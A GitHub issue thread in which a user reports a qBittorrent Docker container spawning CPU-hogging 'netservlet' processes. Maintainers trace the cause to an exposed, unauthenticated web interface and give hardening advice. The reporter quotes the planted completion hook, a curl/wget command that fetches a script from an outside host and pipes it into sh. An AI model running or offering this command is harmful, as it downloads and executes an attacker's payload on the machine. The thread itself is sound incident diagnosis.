[BUG] rootkit/worm in latest docker image

[lockheed]

Is there an existing issue for this?

• I have searched the existing issues

Current Behavior

I think there's something malicious in the last image of qbittorrent. After it's been running for a while, it spawns multiple processes "./netservlet", each of them pegging every CPU core to 100%, as reported by htop on host.

Once they are killed, they reappear within 5-60 minutes. I spent a few days narrowing it down to qbittorrent container. They only stop once the qbittorrent container is stopped.

I have an *arr stack that is connected to this container (huntarr, prowlarr, sonarr, radarr, cleanarr) - I mention it in case these could be causing that qbittorrent behaviour - but if they do, then it's surely a bug. This only started happening a few days ago.

Expected Behavior

No response

Steps To Reproduce

Run qbittorrent container.

Environment

- OS: Arch
- How docker service was installed: pacman -S docker

CPU architecture

x86-64

Docker creation

---
services:
  qbittorrent:
    image: lscr.io/linuxserver/qbittorrent:latest
    container_name: qbittorrent
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Warsaw
      - WEBUI_PORT=8080
      - TORRENTING_PORT=6881
    volumes:
      - /z/services/qbittorrent/appdata:/config
      - /mnt/torrent:/downloads
      - /mnt/torrent_perpetual:/upload
      - /mnt/storage/media/#_video/films:/films
      - /mnt/storage/media/#_video/series:/series
    ports:
      - 50152:50152
      - 50152:50152/udp
    networks:
      - proxy      
    labels:
        caddy: torrent.mydomain.com
        caddy.reverse_proxy: "* {{upstreams 8080}}"  
        com.centurylinklabs.watchtower.enable: true        
#        caddy.import: tinyauth_forwarder *    
    restart: always

networks:
  proxy:
    external: true

Container logs

Brought to you by linuxserver.io
───────────────────────────────────────
To support LSIO projects visit:
https://www.linuxserver.io/donate/
───────────────────────────────────────
GID/UID
───────────────────────────────────────
User UID:    1000
User GID:    1000
───────────────────────────────────────
Linuxserver.io version: 5.1.2-r1-ls411
Build-date: 2025-08-24T06:57:11+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
WebUI will be started shortly after internal preparations. Please wait...
******** Information ********
To control qBittorrent, access the WebUI at: http://localhost:8080
Connection to localhost (::1) 8080 port [tcp/http-alt] succeeded!
[ls.io-init] done.
Catching signal: SIGTERM
Exiting cleanly
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────
      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝
   Brought to you by linuxserver.io
───────────────────────────────────────
To support LSIO projects visit:
https://www.linuxserver.io/donate/
───────────────────────────────────────
GID/UID
───────────────────────────────────────
User UID:    1000
User GID:    1000
───────────────────────────────────────
Linuxserver.io version: 5.1.2-r1-ls411
Build-date: 2025-08-24T06:57:11+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
WebUI will be started shortly after internal preparations. Please wait...
******** Information ********
To control qBittorrent, access the WebUI at: http://localhost:8080
Connection to localhost (::1) 8080 port [tcp/http-alt] succeeded!
[ls.io-init] done.
Catching signal: SIGTERM
Exiting cleanly
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────
      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝
   Brought to you by linuxserver.io
───────────────────────────────────────
To support LSIO projects visit:
https://www.linuxserver.io/donate/
───────────────────────────────────────
GID/UID
───────────────────────────────────────
User UID:    1000
User GID:    1000
───────────────────────────────────────
Linuxserver.io version: 5.1.2-r1-ls411
Build-date: 2025-08-24T06:57:11+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
WebUI will be started shortly after internal preparations. Please wait...
******** Information ********
To control qBittorrent, access the WebUI at: http://localhost:8080
Connection to localhost (::1) 8080 port [tcp/http-alt] succeeded!
[ls.io-init] done.

[github-actions]

Thanks for opening your first issue here! Be sure to follow the relevant issue templates, or risk having this issue marked as invalid.

[Roxedus]

You should check your Run external program on torrent completion setting in qbit, these things usually happens when someone has managed to get to the settings of qbit

[lockheed]

Indeed.
sh -c "(curl -sk https://yify.foo || wget --no-check-certificate -qO - https://yify.foo) | sh

Thanks for pointing it out.

[j0nnymoe]

I would suggest doing a review of your setup and making sure you don't have your instance exposed to the internet without authentication.

[aptalca]

You got pwned my friend. Likely exposed qbit publicly without proper auth. For reference, I could not get qbit's Bypass authentication for clients in whitelisted IP subnets feature to work properly with a reverse proxy. All attempts resulted in unauthed access, which led us to take preventive action and putting this notice into our reverse proxy conf for it: https://github.com/linuxserver/reverse-proxy-confs/blob/master/qbittorrent.subdomain.conf.sample#L4-L11

I would highly recommend against exposing qbit even with the built in auth. I don't trust their auth mechanism. Better to access local only and through wireguard remotely.

[lockheed]

I could not get qbit's Bypass authentication for clients in whitelisted IP subnets feature to work properly with a reverse proxy.

Yeah, that must have been it. I enabled tinyauth for the time being and will later consider if something else should be applied.

[blixten85]

I could not get qbit's Bypass authentication for clients in whitelisted IP subnets feature to work properly with a reverse proxy.

Yeah, that must have been it. I enabled tinyauth for the time being and will later consider if something else should be applied.

Cloudflare zero trust with their tunnel and google/github authentication.
You don’t even have to expose any ports in docker compose except for qbittorrent torrenting port.
But any other application no ports are needed. Pair it with GluetunVPN.